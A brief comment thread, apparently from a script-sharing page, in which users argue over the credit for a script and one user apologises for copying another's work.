Replying to @TeamBaldReal

hey

i think thats my scrept

Replying to @roadblockscherries
TeamBaldRealTeamBaldRealDec 7, 2025

@roadblockscherries ye iz yiu zcript veri gud

grettings

loopexploitzlelloopexploitzlelDec 8, 2025

my old theme xd

Replying to @loopexploitzlel
loopexploitzlelloopexploitzlelMar 15, 2026

a

T0qu1nzZ_quitoT0qu1nzZ_quitoDec 15, 2025

u skidded my relm >:(((((((((((((((

Replying to @T0qu1nzZ_quito
TeamBaldRealTeamBaldRealDec 15, 2025

@T0qu1nzZ sorry i will put creditz :(

._·

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